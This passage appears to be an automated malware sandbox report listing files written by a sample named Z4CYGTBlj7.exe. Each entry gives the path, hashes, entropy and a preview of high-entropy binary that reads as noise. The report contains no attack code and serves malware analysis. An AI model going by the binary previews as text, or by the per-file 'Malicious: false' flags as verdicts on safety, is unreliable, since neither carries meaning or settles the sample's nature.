SHA-256:	41DEDACB506C8441F4CA0CBEC9F016D5F6B12314391D4F58E2E9DE688DA29944
SHA-512:	4046341745DB1058CCFA415839D1C2564A851CBBDFEE8AA85D98C644E7025BA884006FB3ECB276CF53B26ED4EE9BFD75910C9AA902A8F003576C378FEA5B1504
Malicious:	false
Preview:	regf.t.Q.]K...JS......0{...-......E....^.Ud9i.\|.....x.....J..k..n(......,..m.!.z...a........E...ch...L.{.....{...PK.. 3.!p...c...5.j...^.DF+.H.JR.k."...[.v.A.D...F.......P..D..!.b..9.J..O..~w./..h+[..........5..&...@..m$.....bZ1.,..].\.cT.............w.....f..#.NM.NN.._U.T...@U..'..N.K..@....x`F.PXv=<..M.;...QR.BI5X....E"...E2Y..e...DD..:\|....=I.u.QO....:.[........._..j3...._f.^....vk!c.....[g.hr..Bq$.r.4........n..86..c{..l....O.Z}...I.....+.....L.M...Va....6...o...&.^..>.:.(Y1u;.........T...u...]K.p..><.t....U..<..G"`.8...C..}_..\|6.2%...[q..U..2...u.o..cfk.O..?;.....VCp..i..D./.^.h4}.{..AsrgN;..Z>g.N.I......<".{....(.\|..I...`._R....e......XL.kP.3-B1..G&..$d..y.<.J..zjs.G.Dn. ..u...........FnO&..t#=....`V.6.w.x...3.....vB.2....y.[... ...I`.....4..S.D.....Y....O.xd...3.....=...je...........b._p.......=.~.~...$.{`T\......d...1}.b..j3...Gg(....F.N.9)7..../...p.H...Q.s"W.o....?....._sc..px..Tn........u..S9.....8......<(.....1..

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978472241607579
Encrypted:	false
SSDEEP:	192:Wkkvvec5lkPKBQ7hpVdkyH4wkXhaoHItnDbgtQ2iPi02H+:aectQ7xzHQh7HItnYQfPibe
MD5:	A8C9D896AF6D5CFA0FF7E3038F70588D
SHA1:	78193628C5E4BDBD7C675630776B1998E2A12BCA
SHA-256:	05E3D56D5203FFB7E65B32A7DD05025B6FAA80CBC6F2C8E8D5F2C6E13956AC20
SHA-512:	271F4E154002E7F4467DD9116E4EB82766EA6B052E0A03A9F7F5FB708949BD7411011BD870D611897885678E0BDAB9592BD1C61744C2706EFEBCA27A268101E1
Malicious:	false
Preview:	regf...8}.3..l.h....wo.Rh...V..q."....A.n..p..h}l".S...U..iX.t..........s.....:8..A.$.\|..^...>...n..E=..W..A....gL>.Y<..F......3....M.!.KT{.^.T.g.U.....T1y......R...5.U..:#.}b...V8....k...rx.Q.C.%O.jBV!{V.iF..&.A3...(Tj..-......O#..$......U.V.z.j..:..../....qv.&...~j..OP....4../..c;o.(..$b.CWh....T....N..s...N..6q............z3X;p............92s5>."J.Y..Ys.p..ua.y...f.Z7KB..',t.!.8.....;.;...Pv...}.N6mN...+h...[.;..&%...)I.._...v.+F....\|.P..f..QAA...-.aZ.=@A...R3(...Tu...U...P...7...T.<K=`.D.E..x...>:Sq:..J..G<.S.I_.vS......]{.o.r6.Pv9..t.pj"Mo...Z....9y".I.%.!.u.>E._....R..t2p.z..R.U....lN..jL.L.$PE.{&.j^... .3.z...$J....Ha.q-.l.".MV.zX$%..l @B.p[.b........#Z....>..+...3...........im...e...c.....]......jM..E.5...U..1Oc.&..ye...!6F/.o<..).I.W"96...K..nb....I.>.1.`..{.n..9$Z..^f\....\...t].....W.v...6"...~B.S.z@...K....a.....e..}...a..1.V......../..v.^&.Qc...HJS.....f"....p.i.J\.S.V.(l..+....!'.s....w..[..KAS.Z..."l3....>/.

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977904457665056
Encrypted:	false
SSDEEP:	192:mTonUabqVjVDt/fkbwZW86dAGirpCs1DCu+:mTonTkVDt/f0wo86dhe9ev
MD5:	118D7DAC319BC8A3D9B123822A83DEA5
SHA1:	47CAF27BAD22AFA07539BC99DD4B0A8411C9DC16
SHA-256:	BD377C66E9BAAD356293C8220096AB61F94B9510837B03173E33F56DDC0A66D6
SHA-512:	41889AA1ECCB525EB68D8313949AC77E7DE9FEF99E8565074E8C26C32D9879C5206C0419A53DE059C6DF9010366B9AD2A5ABBB1834DF5818E517B39DBDCC623E
Malicious:	false
Preview:	regf.0s.O..^.S.A..r...3Q..,.lE........D.f=..gRw.....OW.:.C..9..IXI.?"+.%.mr......@.....fK.v..a.G.........bt.IP..Kv;.)D&hr..<..r...4...O.L....X...EW....p........._.y..8.C)...=...I..cS@........>1.......o.{..7.k.Y.;k.....yq.9F.^\|../.Gk._...!h..N/..O;1GL<..V~ol..2q.:o.gkS...h.+..\|Iv .....t....'J....3.E.....B.....}............3..j^\.T........h.....V:..n(.)......>...[6i\C...4.:.F......\|Rq..M.g.-.r.KW\|T...%.\..^...g..{.....%...\|M~8VQ.YN..$..}...8.ZG../.ga%KN.O:.H..p..s....M.4C.....T..]..8.....O....b..f...aK?x!.....V.oTz...$&..Z..48..1..f.Vk... Y.$. 8....#c..\|..R...SE.......bJy..m<.....HTq.....].r<l...8....%.......Yr.....4F.'J.6>..........87.#..%...K..W,...{p7...G...<....R.1yz.q#....+'^.}.!.{...r......I.q~'.t f..o)...nN.>E@....%.:..b.9..(......SK..g~.1....9J..7....Q6........N......s.....*.c...J9<.<&]M......{...m...v.kbQ...E.<~.'8)...+.$..S{.M...u."m.BJ.Y.[P<:$......N.W...T.T....V.E.ny?.....Iv.....5.2.,r..U.........p.m.><..Rj....E...?u...m..

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980665737459794
Encrypted:	false
SSDEEP:	192:sj6v4vWhoheWhUORBt+oaRQt2P2J24gUg4IoRM8PjugyHYECt9WqmvG+:q3TUOQobsuJZtIebVTKT
MD5:	F15D3FCFFA51A98999BE5C04A08E6E7D
SHA1:	DE9B77B97844CDDAEE7EAD3E5B6155824AA56430
SHA-256:	63750EF09B14272340439E876532C5851D53BAE492AAAB5D1B77C97580D1CBAE
SHA-512:	FEAAC52BFB9F6B7037D7752674AD6A914A4200C279BC3A81E10E12546556EF26CCB3F10CFBAA2A60CBA4B54DE21DD8A3C0BA03342E45168AF5CE3CEA3883F69F
Malicious:	false
Preview:	regf..j.RyE./.,_x(.........L.K..<=...q....\|c....i....qq.M...y?....X=..&.8Z.l..W-.7.V.%.2bY..........S.....'..=......U.x..>.P\.60J..@. T].....g....i?...y.[6..n0.t.........L.....i..x.m.Q...bl..@x...qb.....v.r.y...k@H......"D..t.l.........X.N...I.7N.7@.....z.o...`.%..+..........#.9...t.F..g...0....)yf...0_~..{..7.v.L.8.O."y.(..Z...e'...I[...J-..D:...w..z_q...2.h....U..o.....'.II...i.J.E'.MO...+.D.f.....A&.pK..$.. 5...%B1..x..._.^H.M..?.....(k...F.....+.Nw.;!..L.[....eL..=).......o..i.Q{.d<%.\..ww..m..L.}.......(....A.S..`.@..0z."J...B.cXW.\|...!.<..S.&."r.7.,s...H.%S.A.I.o;.Xo..#F..T..:Yj1...T...gS....9}.[.....B.>G.L...!.....D..+n..:...#.o...Z.!i]...y.dN..i..'..K...U..u....CV.Y..4H...S..Z.^.W.?..f......Z5a..".n.Pq.jm5..q....~\..$#.3.8.Um....+..l'.)'A.......B~..-...M.$.g.9..P].....OTor.i....`...Qb.A.....p...<...7..>{..9.[.Y...:.bg.....M?.U..Th.g.W.p..\|.....'.....Xt...n5`..RJ.$.{ .,8...]\|........p".J_...]..]...@.K^...].&........Gg..M

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979295280735878
Encrypted:	false
SSDEEP:	192:U1l31B+h8QfoPeqb1lAIuld4d6bSOjt7p5p+:8lH4hfseqbsD4oHp5I
MD5:	93E8BF8D0241C99C78A9C190D4ADAB55
SHA1:	0A8AA2238C9F3D666569F3EFCCFA85E8D1232707
SHA-256:	F759338923B5019B1385C59FA17C17F9CF041871E7C11FC879715CDECB126575
SHA-512:	4AC03D925CF02D4C2A69B5F0058B0D822237D8B2C05A6C571D877910409B54649B488D5F3456D55C9D07BEC63B75EC9D4EC106E711AB437B250DE39CF9A42810
Malicious:	false
Preview:	regf.W.R._.<......0w...Oi............t.7.4.K....a..#....A.".u.V..V\|......-.....AD.`P..R..TCo...%ii7.`6.d}.}.k''M..K...1.@-..(......./V......}..0.......!.^.7Sv..S..=#.%..$y....3...2.P...b....n.V.?.u...%0S.,...]%......o..b>...8...p/~....^..5......\As_{..8.5.r`.MT..;T.3.w.L....s\|...d....-l.tb.(R.B..@.Y1U.>#..P..z.g'..p.s..)....#......6.P....n.tG. ............k.ZA%...+. ^....1;v7..e.y....q...%...W.%d.=-T..${..)Bymp..D...R...f.b.....7hnc....y..)z..b.."j.V.'z!.v....a...+.q.0..=.X'..23.c....gK.}.!xgx.Yb.3u.Q#Cm..F..y./......{.ZE.T".E+4...6{.O"l...0...,.......L......*.#.Z.n\c..iZ.kI-88../......7.....;.,...8...#.g^.VQG.Nw......n..}..........Y.....>e^.-u..3.......-.".......n.\|..........F..]..V@.#.g.Z2/....M6._..T...J.Q..........G.^..v&....uH.....6rnp...Y=._.Xf...u@...p...\.fH....f....=.Nh.P.r{..&..!.,.0G....%.....u..P8pK..L..>.,....6\u..x.[..8X'0.X ..SX.n.`..._^.=..^V."8.@..._..gF..9..D....(..N..b....]....sk..7vo.hO..='"..2G...E..[....}....\|./

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9779128711498055
Encrypted:	false
SSDEEP:	192:alKOX8smsX7e804l/4NnnEGsqP3LV+V+jSqMJCq4v5NL1+:mzbXK8l4KQPYVPlJCI
MD5:	063E131EED6EA25DBC0D9B24B8F92488
SHA1:	936EB3C3DC54FDC75471FBE2AFE628311257B8A3
SHA-256:	F6CD435D17F527FDFA48CDE41B3AC9B339E8703A494938833D1FD340B0FFA61D
SHA-512:	FE51041A3111740EDCDD6255B5FBEA641BEBF456BB0FF23A8B93E58BC97AD75F86F2049BB43BDF5A6ECEBFA207225926CF34D4D077EC63C5F56EDE1FF1B89ABD
Malicious:	false
Preview:	regf.....j/]..#.....6t.O.m..1.n.4.t..J.4v..PJ..^q..RC{..&p\|wh.O+....x.\.{c...6.l.E..C%u.T.m].X.......\|.1-....d...-. .......+v.....H........;\:#Qu.[.V....b.~c9.....yv.._`f[..E=e.-L...{<...([.Fi.!?.3...-...b5m......!.cX.H8..8..t...3zF...".K.#...w2&.8Ln.2...FL..xidDn.._...U.........l..~.s1.#.zjr..NL.s.o .......y.4.....\...v7.,..'...P...c)g...GGl....AB./7.b..x.[.7*.......8....G.X...}h.ax....b..Av.+...\mp.n.3...<..[.I.7R....'.jE.l..\..w^..:l=.>.t!...'9....>..ui....C....d.\j....!..2K.......Q...M..1...P.>.V.4.L.Z.)....V4\|,.>.dndk.zZ1..6....+.\|.s....B.w.8....Fq.L...L..l.l.u.3\..W.....8...xm...U.3.A........[.1..;-\|......F..>a.B.G....<..u...^]..%.....4l....>>.U...eQ,.x...T..{.....t....+....1.[...[4W..O.o..5...}.tRW.Q...@"s)}#....h.d{.sA7.:280.c...B...E.o...2..H..(.....7%h..{............4. .....9......l.)6.....4...m..f..Jd..\.0[K~.)R.0.Y=.f.;.p9.....L.od\X.......+.W...:K....\|.....z..^W2..z9hx&.K.,.#....#...^...U.<.Oc ..i].f....E...#N..c.}~.m....Y.h..a...x

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977433025450838
Encrypted:	false
SSDEEP:	192:dNjCjCeY44mJlOL+xBSu02gAUG82M399+:uj/Y4JJsLU02an3+
MD5:	6544D21655B6A6F0A0A088D7FA4CCFD9
SHA1:	09CEB89D38F878B6516E871FFBB2D7912FE61010
SHA-256:	143523CA26D587B56D06D421E2AAD52025080448526D493879B44FED1D441C73
SHA-512:	14290FF6B3851BF6BAB3E1616CC4D784B08398E21AF2994D0D5A3E7DB9F6A3AB937D00194746A5F7828E84C6C34304AA7BA1D040BC7E59FA4E7493043CFFDB7F
Malicious:	false
Preview:	regf.~.....).v.c.~.pf.U.....O..R.o.+^...Q\......\.E...c...'.m...161..i..e.F.t......U..b.JS'.......p.tP.T..8.,b....- .T;..l4...exu.KU.^.1.X1...Y..Wl...E..........[+5..>P..4+NZJ:.I...<.i.\|.Cv.]].Ok..!.4.y(zY..^ ...4..S..+.^..-u...t....Byx.K..y..2g...o.qo.dU0Tj.6F..\.R....T.......YjL@...:2.50O).{.{y\....I=......Nz..r0X...W.b...<>a .j..]Cjo....47...v{QK.....^.r...A..A.\|6&A../....lDH...lb ..Q...............g..Iv.....A...q,.o....IG...?.......S...D.^...~.q{L.....<.B... .?..I..~.....B?k.C.pE>.r.....P.G...~.N<.r............J.8...I[QA......\q.#..`eg/JWd:g.........)q;..L..b.'.S.....40Nn-C...}.....M..i..G............CkU\|....R..}U<ZxG..dT. .S...6..........XJ8C....rR?JJ.u.8&v.N.......@..]!CAy#.LG]#.Z..S..Y.4...E......D....w}..e.."N....%.........3...yx..8.E^.....P.f.qoy.M..,....=.Q..t".=m>.O6....>..9)..A....P!.H...a&.....y...gr.;.]....}.b...\|q...\4rFF....K.,v...C.y#....f..~B.K.=...=.X...,.#.....\..U&...!......i..c.iY..#=.qS.;.N.n.3.w..2..8N..C;6.L..

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9755327608605135
Encrypted:	false
SSDEEP:	192:RujkGBGPp/OS2EOF4CWeNx42YxvwmbvYszQ86Rd9FEHF3Mw0v+:RuJ0pB2EExCx7wcJWd9gAW
MD5:	8791DF88CF0EFB0FAE0C9538B24D2B95
SHA1:	9EF3D2227F79414CAE7B8A7B13D766AA06FD07E5
SHA-256:	D246FD46CBF9878BF0990B13D8A2EEDF7ABFDA9769A3CF50334112A90029B4A4
SHA-512:	837ABAEFC9F398E4F835E53EEEFC3842591537255E20E7E4BA86997E4B675DA97C9BEA0F097FD099787B271783249121895368006B6E29BB6B3392F9EC35A9B0
Malicious:	false
Preview:	regf..2p.E..h..L....J....t.2.Exo.v.'..k^.A.]..)E...(.g.D..[.z.'........n.c.[......%...[.>Y..D.HJ..n...-m..}.n..S......e.....u.I.qk......?.2...........W..Es...UQ..tx.Kk+r...@..!c.{...J..!..A'..$....9..a....[.d9....J.T..`f.. .)...b........\G=9...T....B.....o.w..V....!.c.s.?.>.G.. c^"."...S.&..jV.A...$.p..=.0G...\gg(.-$y.nE/..?n.@....8!..p...._...E....<.ZK....1.~{. ..p.=.O<D...../k.J\.7.....U6.....P...f+..f[..j\...D7'......@..\|.....&....d&...\|#..J.=+..1t3a.U.Fxl.!..5,.../0.n&%=....n8.......ny.V.H.B.A.,.#...6.....0M.6.G0yy...@..wY....,..o....Xw.a....k..]9..l]..It.YB;.4...r.#........m.ENJ....<"...=...TJ.B.../q....hF.eH......3f..y.:=.i.....E.o..:.r...z..kHju...x...@..>.....;y..9..#.5..3a....i....8,....K@=..9p.B.2R.....9.....w.Ui.....d.LL.2dQ.......6..c$tX...fp.)...&)Z.....whI..k#......B...;.z\|f...i..Ju.&....;0.f...6.Qi.0......[.....>..v..}.BwX@.q.@.8J..D.d7$.8n..K.H...U..8\.26..=..}v.@`.....a].$..;W...tO.a.o.... /..U{.lK...(..gXB.

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.982001850611161
Encrypted:	false
SSDEEP:	192:iHC910k38BKup2wnDOrXT0ZhVU+meQWInGtQnYEfC/i+:nf0k3R02wD+kVO8NIK/T
MD5:	4E7FEBF533B46C27A65D49D47EAFA777
SHA1:	B8CC8D4E64B1E4F128BB5D294B1E24BF86272244
SHA-256:	B4B504213272217B91E22EED5711BA08E131AACACB25D215069726BF3A1CC97D
SHA-512:	7132BC55296B857145904B3B9779959B711D31A4D13BEEB2C58A45987AF32D89F66240FEFA6E4AC57947CA6C12A834A1EE996E04DB4A9AD83C3424275656F1F2
Malicious:	false
Preview:	regf....<..s..t..71,Zq`KCp...vEG....r........?../.y....Jt....t.....k...............z...x.>........iN.x5.H.(F.V.5.S...V...d.......(wPU.7....PYjDJ.%8...........-.y..Q......x....$..x...!.Ye..0&S..\.RkL.....^.4t......wu....\|...ZI..S..s.(..^Q`{..")..<..?N..#..]0.I...8{G.?:...R!tv;....h.6\4.."H.C.$.+.H2.el7......n~Y..N.......!i....5..te.H....D}..V..t..m....^~...).P..xiW...Uzi.:.I.H[D}....f.)6...........T..g.gya8X\|..^...{.^0..=...2.9.....:<..c5.....].c.:.M..#3....DvKE......;g.t.Oc..ii...z.h..6s.....Xd..%..u.y.l..+.=..]...`h..64.IC..u.u...f..>...............}+..W.5:......h.\..U..Z.....Q.uHq"M.w.2...R..CB......s.;....X.-.P.n(....OI._.....gSL..U...1......kl...(...z..K.....%..2?....8...5...{Th..g.7..]....V.N..s...6.......&.d.....a.Z...z[G...j..8.}kX!.z.Z..:...w.,V-E... .......kD.(.W...OU...;...b..._...%s,...^?...C.....18...mk.x..+0.$..^K..2.....y9%..0.....<o.[[z.v.s.[.5....4.\..36.{..I#35.i:..u.>.%S...@`u.b......wV..g.&Mq.t.^......

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980534456173694
Encrypted:	false
SSDEEP:	192:teUcEe80McYDuAK6O38ppDRjRE72bWCdxlPBEe+YO+61ty3+:tcC0MW96OcLuCbHd1Ee+YO+6/yO
MD5:	63396DD567BAC9749AF7AF4D045DA4DB
SHA1:	DA8A47FD18BBA5B2D90345A0472654F85EBF1499
SHA-256:	DD1E787E8F896395B8FF3053B4D38A1C479C3B0320E4250D205E88E709B07D20
SHA-512:	68D87F5B9EB4D5E431DD01F4FDE3DF2FAC8D2B5F3BF3A9293DD0A6DBBBBF550A8B37D48386B38832B766BB299728D455A6DA27810D26BDEE08037B983C22450D
Malicious:	false
Preview:	regf./s$.d.wV...zM[.b..s}..KC.....gJ!...N....@"mN..Q...Ffm..~f1u.Z.......}1.uR...7....+....tH5......I%..G9j\|T_7..T.!m...Ml.G.<...G......`._C...4`(...%z..O.\|..m.H.K.s?..$5....'.MO.a.}....7h1....J.rx{l\|.a......T..X......~...32......C9.X.g..5..5.?.......h...\..[..m7.8.n.g2....T.".Q....-.D..~s....t...h>..1M+i..N.z.$k...k&.b\.YIGC..l..b....&g6.}9Ar,........V....%..* `I5:T.{.x.F.h.[...!.;.....]_.).&..#dm......m\|Q\|.N..X.h......%....~...:5.B.....D.....e...c..AId...1RK. ..dY9.s..].;.~.!....o.!.....IG..G.-...oh1.5..'........[...>.=.W..0m@...<v.(.....U....H..k.z.$^L$...i.qD..]Yp6jG..t...;..Z..f2.'.[(M...T.B$.o....K.p.$H/e..0..J..v.?.Y...L.s..'j.9..w..T.q...nd..2.w.N?..[.....L...p..B.1...uiN..q.N.".z..0?.2u...h,z....;.-2..j0.\.>o.....].....w..e.l.[..6..#P...{p.K......^.3....CFc.F..#.fg....-.]..........eq..9.!..+zf.{.xa.f..h..}.u....P.....s6........?..NW ..t....@.D]....U.2@..}..l.......C.. ...u_M*./..8......{..X..b............}Un.?S..-Kt......I

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9814131743724674
Encrypted:	false
SSDEEP:	192:auE0fdSy1/wCGOBphI0LpOjnmzTRADzS1MQ8DLBys7+:auLGOfhI2pOrmzlA61O0z
MD5:	3BC37811758B0FAC8DEBDC16F224AD1E
SHA1:	C0D778269A515C093FD7B42E4124097DCB9AED00
SHA-256:	BEB932E072D6B7CDCAB8227116F01BAC2943B0937AFBC094656F786397AED4DE
SHA-512:	450D798D31FF313978DF2B694264527A2A908DD7737FAC998E92D218C89530CCAE6050D8F95174A506FBCE440A20973A108CD3A4536B1AF8A19EBF9C2C1D7452
Malicious:	false
Preview:	regf.+.9bQ....s.K..h..M.j..z.]Q......{l.U`U&..LG....~....o..\|\) .X\|..#.p....B.@..t..Oj......z..&p.._...5 .L..p..>...-c>.............6a.B.g.."'h.n.2.`.n.I.q@)....d....Q.rN.;.......#...O..W..4W~u[.\|..n.!nT@{.E......QA!...l.J.q..h,1...xvb.dU.....%E.FyV<..4:P.9........)zU+Z{..HL($...LG.C.kg.QD..%m.E[x.1^L......$..1l].l.W...h....N..Y...F.[d.Qf."8...$.(...7^j'...bJ..'x.....u.Y..a#.=9.<.Q.M...)NS.4.......TX.g/.TG..........pS.....c'.i.>U..~kt.?.i.&6#.V.p.<KGEJ/.@..W...H.#.....).TP......1.a.R.E,.%...o.4.~@..`.H+-.1{.).U..w...Dl".Itu{w...]...jHJdG.....9....<.!.....W..$.;.z\.....)..j....v..g......<.5{.h...:.....q.)!..j..A.......E....tJ....S.[...x........<&h.%.[".._...h.l...Fy.e.......^f...p...My..[.kC.... z(...#...........[.(.z..'8...3}/..dp..y....j.H5..u..~.uG...J>].....19?..t..!.}...m;..#7.o.J..c.)CM....zZ.e.r..g..X..u..h'.....M.u.t...e.@.U......+ ,..t0..ybCF...?.T.z...QQ.z....."Z.#...B!4....0....d{..b..S$.....{....L.~........~.kd...$..T.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\Microsoft\Internet Explorer\DOMStore\PPXWMIW2\www.office[1].xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.290049148368924
Encrypted:	false
SSDEEP:	6:N+21Ww6/pIkxrlQs7K0tr5FRgF917t+dksY4qjiQW3cii96Z:NJ1Ww6RIkPO0tHS17z/iQscii9a
MD5:	C035BD2AA0B1E4A0BA4ABB8A1B7FDCBD
SHA1:	AE0C82D70169FCA3B3366150EE0068B24F536C44
SHA-256:	124EB5103539F419B396B1D7CFA2A030316E6451485F98C3149DFC68C923650F
SHA-512:	9447C55DAAFA88045361A115FC7070ADBA22567325C015D61C53196EB2692DBD0481CA6D330714C2C337A245DDF1E8D8D0E99E1212E6D55675B407B9243FB5A3
Malicious:	false
Preview:	<root..A...m...A...>....h...pI&.{.....l.........j.h..`*y`E...../].7.mX....../..r........i....A..-.x.$R9...{t.BY.).G-.?....../..,..............Bhz.G+P......".-..Vc...?....X...../6za.o[.`&Ro.QF....e...e.I.H8Y. .wY.l....$...1e_..o ..`..Rvp..6!....q.P#......\@..KD.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalCache\Local\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.918551444574955
Encrypted:	false
SSDEEP:	48:F5n4Y57Bz+ZXT5XTTSVIwSpDcEoQAwjE2ohL9bPkzmD:F5n4g7Bz+BQVIrcEo88hL97E+
MD5:	15C4B10D626EBE7D69222193F7E5D9A5
SHA1:	BEF841172373503663D32EE6DC6D809E8B7E8D62
SHA-256:	85135D1D913D3C3F130A5E8F24B763B98262A300187369F79FDEFA2300A9819E
SHA-512:	A02F23BCB53DEE26CF6762B708498CE83B615B5091BE3ECCEB7BDC9A277E8D84AE26E5A7220B2001CAE7A26236F534F471DAB14A93B84C310BE778ECD4DDD068
Malicious:	false
Preview:	1,"fu....p..z...C..\.F.l.m(...6.....R..O.yI_..~....%.J-....hePI`.Q..'.i.....y.......".2..L(.."..x;.w=.../L..:..P@bO.AX.Nwo:I.....b[ ._....!.E.l..;0v.n...y.Y.Z.]...=.......~LC.T.a....$....z..R.u...?.....I..r..X..9......h.-.E.:As.u.......L.]1\|.....g~.zUXE.....0.q.-.gm..U+.:.4...^...si..C..[_..#.ja...>...j...w.(....U..d..8....dFp.....K..pHI.%.$......X.m.nX.........).sT.doG.a.UG....&....f.].).~..5.L9.c....5lT.~...C.:.u.v...3l.&..4\|...E.e...g...De......:.a..M.?..rq.......D.QB...~H7J....r_8.{....e9...i.BC.!........W....r+._{............i........'J..Q...#.e..WrS. ..t25...."..m..p..'.D.i..C~.R.....Z^.u.F......9....4`......#.HP....rz...A.I....{&.\..DP.s......._9^8C...T.V....#.3...........A9...8....//......'.@D..`.. ....r!.,..h.Q}.u.y.{v&.....j......+f......a.......5F~....V.]GW JS.....q .....~.~...Jq.\|_..-..N.Qk...B..r...=..K5}....U<.J......<.7.l........AJ.......v...L.C.}.eZ.Wr.D.......X......j~....d.[..Z`.`>V.V.p?A. ...j...O.......]o..u:.-.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97859857832117
Encrypted:	false
SSDEEP:	192:NsfoZb6NXqVeH1LYiC4N9nf75begTl8DcCH0+:N7ZbeqVeH1UR4N9fEgTl8oe
MD5:	89753673CDE2F3942EE902F4B4743BCF
SHA1:	EAA04DB104F576117E5406F4C6423E0E7BDF3B85
SHA-256:	1E4C83001E160ABF05883DB43C469FE3360EB43C7E1BB977A17ED09331628B0A
SHA-512:	EA8291D3C2726BDC3791FD2705880A64A44AE1DF274636BBE1D395EC8A6B59C3B6BBF91008E98B75661494EFD0353A560858BE76F6AEB2295161787B6163ADEE
Malicious:	false
Preview:	regf...@....6.8......xu..8.V].$8.s.M..J....%q....%..uC..la.w.2...).N...._....7.V...e..L.\|.C...N.K..d!...I..").... ]h..?.H...s(s..g......?[...C.Y..W....FZ.q...y_,.s.U7.1a..^...1...]7n..M..I.\...-\|b.(F..T..X).....%Kt....a...q.FrU.-G..DA...h~..Q..yL.......)4...H..`....e.t...~.!.p.......Z#}.!..22.&!....Q...h....,.......S<.O......J..;..B^.R#......z..O..\...I.L.3.&Ba..CU...[......3..Ip......$..e.<......c..]./...Y..$.vX...\i~Y$X........e<4G>.b+...==;X.5f..G.2\....w.....%.~......&X..._..uJ...h._.qA...o.BD3.Qz........:.m.C'G'...'"...{<...{..K...[...AY3....'.R.DP~......LT..`.G.n..j/.xM.....v#[n...).:.i.b.5.pW..<._.SsB...(.........]9..6....r@.S.`.(}......R.e..E.j..+;C...S..v....V...`...Z ..dLD4)A._._..X..e.4z...q!..P..cjY.d...\.....U..-.<v>B..}..I..%............<.)#.m.c.W.t?wWj...F.q4...g`...3.....z]..7...O....t.....>...!;.'G.....m............T.X..1...m......t.1Qm...~9..8........ek.,..4x...XZ../L.U.?.....>.....#l..g.s.H.n.1..(.e.3b...D....t2e9.L

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973327631783113
Encrypted:	false
SSDEEP:	192:FH7+9yQE58KK7bJ912wPQqoXrc6NJNBwKS1chdDb+:p78UsbNl2Q6hBcmdDy
MD5:	BD03812603A186B8E4E8205EFAFBE650
SHA1:	71EB797B437A9DC3A3D98FE320CE1C965B790B3C
SHA-256:	69856A6EA71F88AEE837C009AC5325CBF4007C1B6985FCCFEAC733A6FAA74A4F
SHA-512:	E916E59D7C93A7F81FCAD4A9851863CBA657B9B77DE7EA94ABB9539F99BD70F8354AA3CCAD7E635A305093780811738467C00081613E6C69D4F61885DE1C786E
Malicious:	false
